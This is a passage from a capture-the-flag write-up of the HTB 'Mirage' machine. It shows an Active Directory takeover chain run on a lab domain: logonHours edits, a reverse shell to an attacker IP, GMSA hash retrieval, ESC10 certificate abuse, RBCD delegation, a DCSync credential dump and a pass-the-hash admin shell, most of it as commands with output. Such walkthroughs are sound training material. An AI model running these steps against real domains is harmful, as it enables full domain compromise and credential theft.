Add LogonHours w/ BloodyAD
The UAC is set with the ACCOUNTDISABLE flag, and the logonHours are empty. If I look at the same fields for nathan.aadam there’s something there:
oxdf@hacky$ bloodyAD -d mirage.htb --host DC01.mirage.htb -u mark.bbond -p 1day@atime -k get object nathan.aadam | grep -a -e userAccountControl -e logonHours
logonHours: ////////////////////////////
userAccountControl: NORMAL_ACCOUNT; DONT_EXPIRE_PASSWORD
That’s actually 21 bytes of all 0xff base64-encoded:
oxdf@hacky$ bloodyAD -d mirage.htb --host DC01.mirage.htb -u mark.bbond -p 1day@atime -k get object nathan.aadam --attr logonHours | grep logon | cut -d' ' -f2 | base64 -d | xxd
00000000: ffff ffff ffff ffff ffff ffff ffff ffff ................
00000010: ffff ffff ff .....
This PR on BloodyAD (inspired by this box) shows an update to allow for setting values b64-encoded like:
oxdf@hacky$ bloodyAD -d mirage.htb --host DC01.mirage.htb -u mark.bbond -p 1day@atime -k set object javier.mmarshall logonHours -v '////////////////////////////' --b64
[!] Attribute encoding not supported for logonHours with bytes attribute type, using raw mode
[+] javier.mmarshall's logonHours has been updated
oxdf@hacky$ bloodyAD -d mirage.htb --host DC01.mirage.htb -u mark.bbond -p 1day@atime -k get object nathan.aadam --attr logonHours
distinguishedName: CN=nathan.aadam,OU=Users,OU=Admins,OU=IT_Staff,DC=mirage,DC=htb
logonHours: ////////////////////////////
Now auth works:
oxdf@hacky$ netexec smb DC01.mirage.htb -u javier.mmarshall -p 0xdf0xdf.. -k
SMB DC01.mirage.htb 445 DC01 x64 (name:DC01) (domain:mirage.htb) (signing:True) (SMBv1:None) (NTLM:False)
SMB DC01.mirage.htb 445 DC01 [+] mirage.htb\javier.mmarshall:0xdf0xdf..
Add LogonHours w/ PowerShell
I can also set the logonHours from PowerShell on the host. I’ll get a shell as mark.bbond:
evil-winrm-py PS C:\programdata> .\RunasCs mark.bbond 1day@atime powershell -r 10.10.14.2:443
[*] Warning: The logon for user 'mark.bbond' is limited. Use the flag combination --bypass-uac and --logon-type '8' to obtain a more privileged token.
[+] Running in session 0 with process function CreateProcessWithLogonW()
[+] Using Station\Desktop: Service-0x0-221a4f1$\Default
[+] Async process 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' with pid 896 created in background.
At nc:
oxdf@hacky$ rlwrap -cAr nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.78 63630
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows
PS C:\Windows\system32>
For any user I have creds for, I can fetch their logonHours:
evil-winrm-py PS C:\programdata> Get-ADUser -Identity nathan.aadam -Properties LogonHours
DistinguishedName : CN=nathan.aadam,OU=Users,OU=Admins,OU=IT_Staff,DC=mirage,DC=htb
Enabled : True
GivenName : nathan.aadam
LogonHours : {255, 255, 255, 255...}
Name : nathan.aadam
ObjectClass : user
ObjectGUID : 718eba44-fda2-453b-8e55-ff0bdb0874ee
SamAccountName : nathan.aadam
SID : S-1-5-21-2127163471-3824721834-2568365109-1110
Surname :
UserPrincipalName : nathan.aadam@mirage.htb
evil-winrm-py PS C:\programdata> (Get-ADUser -Identity nathan.aadam -Properties LogonHours).LogonHours
255
255
255
255
255
255
255
255
255
255
255
255
255
255
255
255
255
255
255
255
255
It’s a series of 255s, just like I saw base64-encoded above.
There is a cron running every few minutes disabling the javier.mmarshall account and removing the logonHours. After the cron resets the logonHours, I’ll set them here (copying mark’s value):
PS C:\Windows\system32> $pass = ConvertTo-SecureString '1day@atime' -AsPlainText -Force
PS C:\Windows\system32> $cred = New-Object System.Management.Automation.PSCredential('mirage\mark.bbond', $pass)
PS C:\Windows\system32> $loh = (Get-ADUser -Identity mark.bbond -Credential $cred -Properties LogonHours).LogonHours
PS C:\Windows\system32> Set-ADUser -Identity javier.mmarshall -Credential $cred -Replace @{LogonHours = $loh}
Now they are set:
PS C:\Windows\system32> Get-ADUser -Identity javier.mmarshall -Credential $cred -Properties LogonHours
DistinguishedName : CN=javier.mmarshall,OU=Users,OU=Disabled,DC=mirage,DC=htb
Enabled : False
GivenName : javier.mmarshall
LogonHours : {255, 255, 255, 255...}
Name : javier.mmarshall
ObjectClass : user
ObjectGUID : c52e731b-30c1-439c-a6b9-0c2f804e5f08
SamAccountName : javier.mmarshall
SID : S-1-5-21-2127163471-3824721834-2568365109-1108
Surname :
UserPrincipalName : javier.mmarshall@mirage.htb
And I can log in.
Auth as Mirage-Service$
Enumeration
javier.mmarshall has ReadGMSAPassword on the Mirage-Service$ account:
Recover Password Hash
I’ll use netexec to read all the GMSA passwords that javier.mmarshall can read:
oxdf@hacky$ netexec ldap DC01.mirage.htb -u javier.mmarshall -p 0xdf0xdf.. -k --gmsa
LDAP DC01.mirage.htb 389 DC01 None (name:DC01) (domain:mirage.htb) (signing:None) (channel binding:Never) (NTLM:False)
LDAP DC01.mirage.htb 389 DC01 [+] mirage.htb\javier.mmarshall:0xdf0xdf..
LDAP DC01.mirage.htb 389 DC01 Getting GMSA Passwords
LDAP DC01.mirage.htb 389 DC01 Account: Mirage-Service$ NTLM: 738eeff47da231dec805583638b8a91f PrincipalsAllowedToReadPassword: javier.mmarshall
The hash works:
oxdf@hacky$ netexec smb DC01.mirage.htb -u Mirage-Service$ -H 738eeff47da231dec805583638b8a91f -k
SMB DC01.mirage.htb 445 DC01 x64 (name:DC01) (domain:mirage.htb) (signing:True) (SMBv1:None) (NTLM:False)
SMB DC01.mirage.htb 445 DC01 [+] mirage.htb\Mirage-Service$:738eeff47da231dec805583638b8a91f
Shell as Administrator
Enumeration
Writable Permissions
This next step is very tricky to find. BloodHound data does not show any outbound control (regardless of Python, RustHound, or SharpHound collector) for Mirage-Service$.
Another more detailed check is to run get writable in bloodyAD to check for any other permissions misconfigurations. To use bloodyAD over Kerberos with a hash, I’ll get a TGT:
oxdf@hacky$ getTGT.py -hashes :738eeff47da231dec805583638b8a91f 'mirage.htb/Mirage-Service$' -no-pass
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in Mirage-Service$.ccache
Now use that to query:
oxdf@hacky$ KRB5CCNAME=Mirage-Service\$.ccache bloodyAD -d mirage.htb --host DC01.mirage.htb -k get writable
distinguishedName: CN=TPM Devices,DC=mirage,DC=htb
permission: CREATE_CHILD
distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=mirage,DC=htb
permission: WRITE
distinguishedName: CN=mark.bbond,OU=Users,OU=Support,OU=IT_Staff,DC=mirage,DC=htb
permission: WRITE
distinguishedName: CN=Mirage-Service,CN=Managed Service Accounts,DC=mirage,DC=htb
permission: WRITE
Mirage-Service$ can write the distinguishedName of itself, a group, and mark.bbond. That last one is interesting. Why would this account have that write access over a user? I’ll look at more detail with --detail:
oxdf@hacky$ KRB5CCNAME=Mirage-Service\$.ccache bloodyAD -d mirage.htb --host DC01.mirage.htb -k get writable --detail
distinguishedName: CN=TPM Devices,DC=mirage,DC=htb
msTPM-InformationObject: CREATE_CHILD
distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=mirage,DC=htb
url: WRITE
wWWHomePage: WRITE
distinguishedName: CN=mark.bbond,OU=Users,OU=Support,OU=IT_Staff,DC=mirage,DC=htb
manager: WRITE
mail: WRITE
msDS-HABSeniorityIndex: WRITE
msDS-PhoneticDisplayName: WRITE
msDS-PhoneticCompanyName: WRITE
msDS-PhoneticDepartment: WRITE
msDS-PhoneticLastName: WRITE
msDS-PhoneticFirstName: WRITE
msDS-SourceObjectDN: WRITE
msDS-AllowedToDelegateTo: WRITE
altSecurityIdentities: WRITE
servicePrincipalName: WRITE
userPrincipalName: WRITE
legacyExchangeDN: WRITE
otherMailbox: WRITE
showInAddressBook: WRITE
systemFlags: WRITE
division: WRITE
objectGUID: WRITE
name: WRITE
displayNamePrintable: WRITE
proxyAddresses: WRITE
company: WRITE
department: WRITE
co: WRITE
dn: WRITE
initials: WRITE
givenName: WRITE
description: WRITE
title: WRITE
ou: WRITE
o: WRITE
sn: WRITE
objectCategory: WRITE
cn: WRITE
objectClass: WRITE
distinguishedName: CN=Mirage-Service,CN=Managed Service Accounts,DC=mirage,DC=htb
thumbnailPhoto: WRITE
pager: WRITE
mobile: WRITE
homePhone: WRITE
userSMIMECertificate: WRITE
msDS-ExternalDirectoryObjectId: WRITE
msDS-cloudExtensionAttribute20: WRITE
msDS-cloudExtensionAttribute19: WRITE
msDS-cloudExtensionAttribute18: WRITE
msDS-cloudExtensionAttribute17: WRITE
msDS-cloudExtensionAttribute16: WRITE
msDS-cloudExtensionAttribute15: WRITE
msDS-cloudExtensionAttribute14: WRITE
msDS-cloudExtensionAttribute13: WRITE
msDS-cloudExtensionAttribute12: WRITE
msDS-cloudExtensionAttribute11: WRITE
msDS-cloudExtensionAttribute10: WRITE
msDS-cloudExtensionAttribute9: WRITE
msDS-cloudExtensionAttribute8: WRITE
msDS-cloudExtensionAttribute7: WRITE
msDS-cloudExtensionAttribute6: WRITE
msDS-cloudExtensionAttribute5: WRITE
msDS-cloudExtensionAttribute4: WRITE
msDS-cloudExtensionAttribute3: WRITE
msDS-cloudExtensionAttribute2: WRITE
msDS-cloudExtensionAttribute1: WRITE
msDS-GeoCoordinatesLongitude: WRITE
msDS-GeoCoordinatesLatitude: WRITE
msDS-GeoCoordinatesAltitude: WRITE
msDS-AllowedToActOnBehalfOfOtherIdentity: WRITE
msDS-HostServiceAccount: WRITE
msPKI-CredentialRoamingTokens: WRITE
msDS-FailedInteractiveLogonCountAtLastSuccessfulLogon: WRITE
msDS-FailedInteractiveLogonCount: WRITE
msDS-LastFailedInteractiveLogonTime: WRITE
msDS-LastSuccessfulInteractiveLogonTime: WRITE
msDS-SupportedEncryptionTypes: WRITE
msPKIAccountCredentials: WRITE
msPKIDPAPIMasterKeys: WRITE
msPKIRoamingTimeStamp: WRITE
mSMQDigests: WRITE
mSMQSignCertificates: WRITE
userSharedFolderOther: WRITE
userSharedFolder: WRITE
otherIpPhone: WRITE
ipPhone: WRITE
assistant: WRITE
primaryInternationalISDNNumber: WRITE
primaryTelexNumber: WRITE
otherMobile: WRITE
otherFacsimileTelephoneNumber: WRITE
userCert: WRITE
homePostalAddress: WRITE
personalTitle: WRITE
otherHomePhone: WRITE
streetAddress: WRITE
otherPager: WRITE
info: WRITE
otherTelephone: WRITE
userCertificate: WRITE
preferredDeliveryMethod: WRITE
registeredAddress: WRITE
internationalISDNNumber: WRITE
x121Address: WRITE
facsimileTelephoneNumber: WRITE
teletexTerminalIdentifier: WRITE
telexNumber: WRITE
telephoneNumber: WRITE
physicalDeliveryOfficeName: WRITE
postOfficeBox: WRITE
postalCode: WRITE
postalAddress: WRITE
street: WRITE
st: WRITE
l: WRITE
c: WRITE
This account has a lot of write permissions over itself (which is typical), but also over mark.bbond. I’ll note that Mirage-Service$ can write mark.bbond’s UPN.
ADCS
The BloodHound data has already shown that ADCS is in use here. certipy will show the certificate authority, but no vulnerable templates:
oxdf@hacky$ KRB5CCNAME=Mirage-Service\$.ccache certipy find -vulnerable -target DC01.mirage.htb -k -dc-ip 10.10.11.78 -stdout
Certipy v5.0.3 - by Oliver Lyak (ly4k)
[*] Finding certificate templates
[*] Found 33 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 11 enabled certificate templates
[*] Finding issuance policies
[*] Found 13 issuance policies
[*] Found 0 OIDs linked to templates
[*] Retrieving CA configuration for 'mirage-DC01-CA' via RRP
[*] Successfully retrieved CA configuration for 'mirage-DC01-CA'
[*] Checking web enrollment for CA 'mirage-DC01-CA' @ 'dc01.mirage.htb'
[*] Enumeration output:
Certificate Authorities
0
CA Name : mirage-DC01-CA
DNS Name : dc01.mirage.htb
Certificate Subject : CN=mirage-DC01-CA, DC=mirage, DC=htb
Certificate Serial Number : 1512EEC0308E13A146A0B5AD6AA741C9
Certificate Validity Start : 2025-07-04 19:58:25+00:00
Certificate Validity End : 2125-07-04 20:08:25+00:00
Web Enrollment
HTTP
Enabled : False
HTTPS
Enabled : False
User Specified SAN : Disabled
Request Disposition : Issue
Enforce Encryption for Requests : Enabled
Active Policy : CertificateAuthority_MicrosoftDefault.Policy
Permissions
Owner : MIRAGE.HTB\Administrators
Access Rights
ManageCa : MIRAGE.HTB\Administrators
MIRAGE.HTB\Domain Admins
MIRAGE.HTB\Enterprise Admins
ManageCertificates : MIRAGE.HTB\Administrators
MIRAGE.HTB\Domain Admins
MIRAGE.HTB\Enterprise Admins
Enroll : MIRAGE.HTB\Authenticated Users
Certificate Templates : [!] Could not find any certificate templates
I will need a certificate that mark.bbond can enroll in:
User seems as good as any.
ESC10
ESC10, or Weak Certificate Mapping for Schannel Authentication, involves having an account with control over a victim account’s UPN and if the machine is configured to allow UPN mapping. It allows for changing the UPN on the victim’s account to match a target account, requesting a certificate, and then changing the UPN back on the victim. The resulting certificate will authenticate as the target account.
This vulnerability is a tricky one to find because according to the Certipy wiki:
Certipy does not directly detect ESC10 by querying the Schannel
CertificateMappingMethodsregistry key on Domain Controllers or other target servers, as this typically requires privileged access (like local administrator rights) to those servers’ registries.Identification of a potentially vulnerable server (like a DC for LDAPS) relies on:
- Manual or Scripted Registry Checks: Administrators or auditors need to check the value of
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\CertificateMappingMethodson each relevant server (especially DCs). If the DWORD value of this key includes the bit flag0x4(e.g., values like0x4,0xC,0x1C,0x1Fall include UPN mapping), the server is potentially vulnerable to this specific ESC10 exploitation if other prerequisites (like an attacker controlling an enrollable account’s UPN) are met.- Inferring Risk: In environments with a history of using diverse or legacy certificate authentication methods, or where compatibility with older systems is a high priority, there’s a higher chance that less secure mapping methods like UPN mapping for Schannel might be enabled.
While Certipy’s
findcommand doesn’t check this registry key, it can identify certificate templates suitable for client authentication that low-privileged users can enroll in. Such templates could become a component of an ESC10 attack if the Schannel misconfiguration exists on the target servers.
So Certipy won’t find it, but I can check this registry key:
evil-winrm-py PS C:\Users\nathan.aadam\Documents> reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHAN
NEL
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL
EventLogging REG_DWORD 0x1
CertificateMappingMethods REG_DWORD 0x4
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Ciphers
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\CipherSuites
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Hashes
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\KeyExchangeAlgorithms
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols
CertificateMappingMethods is set to 0x4, which means UPN mapping is enabled!
ESC10
Get LDAP Shell
To perform this attack, I’ll follow the steps on the Certipy Wiki. First I’ll get mark.bbond’s UPN so I can restore it after:
oxdf@hacky$ KRB5CCNAME=Mirage-Service\$.ccache certipy account -user mark.bbond read -target DC01.mirage.htb -k -dc-ip 10.10.11.78
Certipy v5.0.3 - by Oliver Lyak (ly4k)
[*] Reading attributes for 'mark.bbond':
cn : mark.bbond
distinguishedName : CN=mark.bbond,OU=Users,OU=Support,OU=IT_Staff,DC=mirage,DC=htb
name : mark.bbond
objectSid : S-1-5-21-2127163471-3824721834-2568365109-1109
sAMAccountName : mark.bbond
userPrincipalName : mark.bbond@mirage.htb
userAccountControl : 66048
whenCreated : 2025-05-02T08:36:23+00:00
whenChanged : 2025-11-17T01:48:41+00:00
It’s what looks like their email address. I’ll update this to be the machine account UPN for the DC:
oxdf@hacky$ KRB5CCNAME=Mirage-Service\$.ccache certipy account -user mark.bbond update -upn 'DC01$@mirage.htb' -target DC01.mirage.htb -k -dc-ip 10.10.11.78
Certipy v5.0.3 - by Oliver Lyak (ly4k)
[*] Updating user 'mark.bbond':
userPrincipalName : DC01$@mirage.htb
[*] Successfully updated 'mark.bbond'
I’m using the DC machine account because I can’t use the administrator account, as it is protected against this attack.
Now I request a certificate as this user:
oxdf@hacky$ certipy req -k -dc-ip 10.10.11.78 -target DC01.mirage.htb -ca mirage-DC01-CA -template User -u mark.bbond@mirage.htb -p '1day@atime'
Certipy v5.0.3 - by Oliver Lyak (ly4k)
[!] KRB5CCNAME environment variable not set
[!] DC host (-dc-host) not specified and Kerberos authentication is used. This might fail
[*] Requesting certificate via RPC
[*] Request ID is 10
[*] Successfully requested certificate
[*] Got certificate with UPN 'DC01$@mirage.htb'
[*] Certificate object SID is 'S-1-5-21-2127163471-3824721834-2568365109-1109'
[*] Saving certificate and private key to 'dc01.pfx'
[*] Wrote certificate and private key to 'dc01.pfx'
If I try to authenticate with this certificate right now, it will auth as mark.bbond, because the UPN on the certificate matches that account’s UPN. So I’ll set it back:
oxdf@hacky$ KRB5CCNAME=Mirage-Service\$.ccache certipy account -user mark.bbond update -upn 'mark.bbond@mirage.htb' -target DC01.mirage.htb -k -dc-ip 10.10.11.78
Certipy v5.0.3 - by Oliver Lyak (ly4k)
[*] Updating user 'mark.bbond':
userPrincipalName : mark.bbond@mirage.htb
[*] Successfully updated 'mark.bbond'
I could set it to literally anything, as long as it’s not DC01$@mirage.htb. Now I can get an LDAP shell using this certificate:
oxdf@hacky$ certipy auth -pfx dc01.pfx -dc-ip 10.10.11.78 -ldap-shell
Certipy v5.0.3 - by Oliver Lyak (ly4k)
[*] Certificate identities:
[*] SAN UPN: 'DC01$@mirage.htb'
[*] Security Extension SID: 'S-1-5-21-2127163471-3824721834-2568365109-1109'
[*] Connecting to 'ldaps://10.10.11.78:636'
[*] Authenticated to '10.10.11.78' as: 'u:MIRAGE\\DC01$'
Type help for list of commands
#
The UPN maps over to MIRAGE\DC01$, providing LDAP access as the machine account.
RBCD / DCSync
The wiki instructions stop here, saying that this LDAP shell:
can be leveraged for further attacks like Resource-Based Constrained Delegation (RBCD) or reading sensitive LDAP data.
There’s a set_rbcd command in LDAP shell:
# help
...[snip]...
set_rbcd target grantee - Grant the grantee (sAMAccountName) the ability to perform RBCD to the target (sAMAccountName).
...[snip]...
I’ll use that to give the Mirage-Service$ account the ability to perform RBCD to DC01, and since I’ve already got full control over Mirage-Service$, I’ll get full control over DC01$:
# set_rbcd DC01$ Mirage-Service$
Found Target DN: CN=DC01,OU=Domain Controllers,DC=mirage,DC=htb
Target SID: S-1-5-21-2127163471-3824721834-2568365109-1000
Found Grantee DN: CN=Mirage-Service,CN=Managed Service Accounts,DC=mirage,DC=htb
Grantee SID: S-1-5-21-2127163471-3824721834-2568365109-1112
Delegation rights modified successfully!
Mirage-Service$ can now impersonate users on DC01$ via S4U2Proxy
I’ll need to get a new ticket as Mirage-Service$ (the one I got earlier won’t reflect this RBCD permission):
oxdf@hacky$ getTGT.py -hashes :738eeff47da231dec805583638b8a91f 'mirage.htb/Mirage-Service$' -no-pass
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in Mirage-Service$.ccache
I’ll get a service ticket as DC01$:
oxdf@hacky$ KRB5CCNAME=Mirage-Service\$.ccache getST.py -spn 'http/DC01.mirage.htb' -impersonate DC01$ -no-pass 'mirage.htb/Mirage-Service$'
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies
[*] Impersonating DC01$
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in DC01$@http_DC01.mirage.htb@MIRAGE.HTB.ccache
That ticket will allow dumping hashes with a DCSync / secretsdump:
oxdf@hacky$ KRB5CCNAME=DC01\$@http_DC01.mirage.htb@MIRAGE.HTB.ccache secretsdump.py -no-pass -k DC01.mirage.htb
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies
[-] Policy SPN target name validation might be restricting full DRSUAPI dump. Try -just-dc-user
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
mirage.htb\Administrator:500:aad3b435b51404eeaad3b435b51404ee:7be6d4f3c2b9c0e3560f5a29eeb1afb3:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:1adcc3d4a7f007ca8ab8a3a671a66127:::
mirage.htb\Dev_Account_A:1104:aad3b435b51404eeaad3b435b51404ee:3db621dd880ebe4d22351480176dba13:::
mirage.htb\Dev_Account_B:1105:aad3b435b51404eeaad3b435b51404ee:fd1a971892bfd046fc5dd9fb8a5db0b3:::
mirage.htb\david.jjackson:1107:aad3b435b51404eeaad3b435b51404ee:ce781520ff23cdfe2a6f7d274c6447f8:::
mirage.htb\javier.mmarshall:1108:aad3b435b51404eeaad3b435b51404ee:694fba7016ea1abd4f36d188b3983d84:::
mirage.htb\mark.bbond:1109:aad3b435b51404eeaad3b435b51404ee:8fe1f7f9e9148b3bdeb368f9ff7645eb:::
mirage.htb\nathan.aadam:1110:aad3b435b51404eeaad3b435b51404ee:1cdd3c6d19586fd3a8120b89571a04eb:::
mirage.htb\svc_mirage:2604:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889:::
DC01$:1000:aad3b435b51404eeaad3b435b51404ee:b5b26ce83b5ad77439042fbf9246c86c:::
Mirage-Service$:1112:aad3b435b51404eeaad3b435b51404ee:738eeff47da231dec805583638b8a91f:::
[*] Kerberos keys grabbed
mirage.htb\Administrator:aes256-cts-hmac-sha1-96:09454bbc6da252ac958d0eaa211293070bce0a567c0e08da5406ad0bce4bdca7
mirage.htb\Administrator:aes128-cts-hmac-sha1-96:47aa953930634377bad3a00da2e36c07
mirage.htb\Administrator:des-cbc-md5:e02a73baa10b8619
krbtgt:aes256-cts-hmac-sha1-96:95f7af8ea1bae174de9666c99a9b9edeac0ca15e70c7246cab3f83047c059603
krbtgt:aes128-cts-hmac-sha1-96:6f790222a7ee5ba9d2776f6ee71d1bfb
krbtgt:des-cbc-md5:8cd65e54d343ba25
mirage.htb\Dev_Account_A:aes256-cts-hmac-sha1-96:e4a6658ff9ee0d2a097864d6e89218287691bf905680e0078a8e41498f33fd9a
mirage.htb\Dev_Account_A:aes128-cts-hmac-sha1-96:ceee67c4feca95b946e78d89cb8b4c15
mirage.htb\Dev_Account_A:des-cbc-md5:26dce5389b921a52
mirage.htb\Dev_Account_B:aes256-cts-hmac-sha1-96:5c320d4bef414f6a202523adfe2ef75526ff4fc6f943aaa0833a50d102f7a95d
mirage.htb\Dev_Account_B:aes128-cts-hmac-sha1-96:e05bdceb6b470755cd01fab2f526b6c0
mirage.htb\Dev_Account_B:des-cbc-md5:e5d07f57e926ecda
mirage.htb\david.jjackson:aes256-cts-hmac-sha1-96:3480514043b05841ecf08dfbf33d81d361e51a6d03ff0c3f6d51bfec7f09dbdb
mirage.htb\david.jjackson:aes128-cts-hmac-sha1-96:bd841caf9cd85366d254cd855e61cd5e
mirage.htb\david.jjackson:des-cbc-md5:76ef68d529459bbc
mirage.htb\javier.mmarshall:aes256-cts-hmac-sha1-96:20acfd56be43c1123b3428afa66bb504a9b32d87c3269277e6c917bf0e425502
mirage.htb\javier.mmarshall:aes128-cts-hmac-sha1-96:9d2fc7611e15be6fe16538ebb3b2ad6a
mirage.htb\javier.mmarshall:des-cbc-md5:6b3d51897fdc3237
mirage.htb\mark.bbond:aes256-cts-hmac-sha1-96:dc423caaf884bb869368859c59779a757ff38a88bdf4197a4a284b599531cd27
mirage.htb\mark.bbond:aes128-cts-hmac-sha1-96:78fcb9736fbafe245c7b52e72339165d
mirage.htb\mark.bbond:des-cbc-md5:d929fb462ae361a7
mirage.htb\nathan.aadam:aes256-cts-hmac-sha1-96:b536033ac796c7047bcfd47c94e315aea1576a97ff371e2be2e0250cce64375b
mirage.htb\nathan.aadam:aes128-cts-hmac-sha1-96:b1097eb42fd74827c6d8102a657e28ff
mirage.htb\nathan.aadam:des-cbc-md5:5137a74f40f483c7
mirage.htb\svc_mirage:aes256-cts-hmac-sha1-96:937efa5352253096b3b2e1d31a9f378f422d9e357a5d4b3af0d260ba1320ba5e
mirage.htb\svc_mirage:aes128-cts-hmac-sha1-96:8d382d597b707379a254c60b85574ab1
mirage.htb\svc_mirage:des-cbc-md5:2f13c12f9d5d6708
DC01$:aes256-cts-hmac-sha1-96:4a85665cd877c7b5179c508e5bc4bad63eafe514f7cedb0543930431ef1e422b
DC01$:aes128-cts-hmac-sha1-96:94aa2a6d9e156b7e8c03a9aad4af2cc1
DC01$:des-cbc-md5:cb19ce2c733b3ba8
Mirage-Service$:aes256-cts-hmac-sha1-96:7c7cf51a944c05f934f055683959f1aa12230cbc42072cff8def34442c0fad8b
Mirage-Service$:aes128-cts-hmac-sha1-96:a21199c62fd336f19f6fbf167ae3fced
Mirage-Service$:des-cbc-md5:c7bab0613bea374a
[*] Cleaning up...
Shell
The Administrator password hash works:
oxdf@hacky$ netexec smb DC01.mirage.htb -u administrator -H 7be6d4f3c2b9c0e3560f5a29eeb1afb3 -k
SMB DC01.mirage.htb 445 DC01 x64 (name:DC01) (domain:mirage.htb) (signing:True) (SMBv1:None) (NTLM:False)
SMB DC01.mirage.htb 445 DC01 [+] mirage.htb\administrator:7be6d4f3c2b9c0e3560f5a29eeb1afb3 (Pwn3d!)
I’ll use it to get a TGT:
oxdf@hacky$ getTGT.py -hashes :7be6d4f3c2b9c0e3560f5a29eeb1afb3 'mirage.htb/Administrator' -no-pass
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in Administrator.ccache
And use that to get a shell:
oxdf@hacky$ KRB5CCNAME=Administrator.ccache evil-winrm-py -i DC01.mirage.htb -k
_ _ _
_____ _(_| |_____ __ _(_)_ _ _ _ _ __ ___ _ __ _ _
/ -_\ V | | |___\ V V | | ' \| '_| ' |___| '_ | || |
\___|\_/|_|_| \_/\_/|_|_||_|_| |_|_|_| | .__/\_, |
|_| |__/ v1.5.0
[*] Connecting to 'DC01.mirage.htb:5985' as 'Administrator@MIRAGE.HTB'
evil-winrm-py PS C:\Users\Administrator\Documents>
And the flag:
evil-winrm-py PS C:\Users\Administrator\Desktop> cat root.txt
146cfe79************************






Click for full size image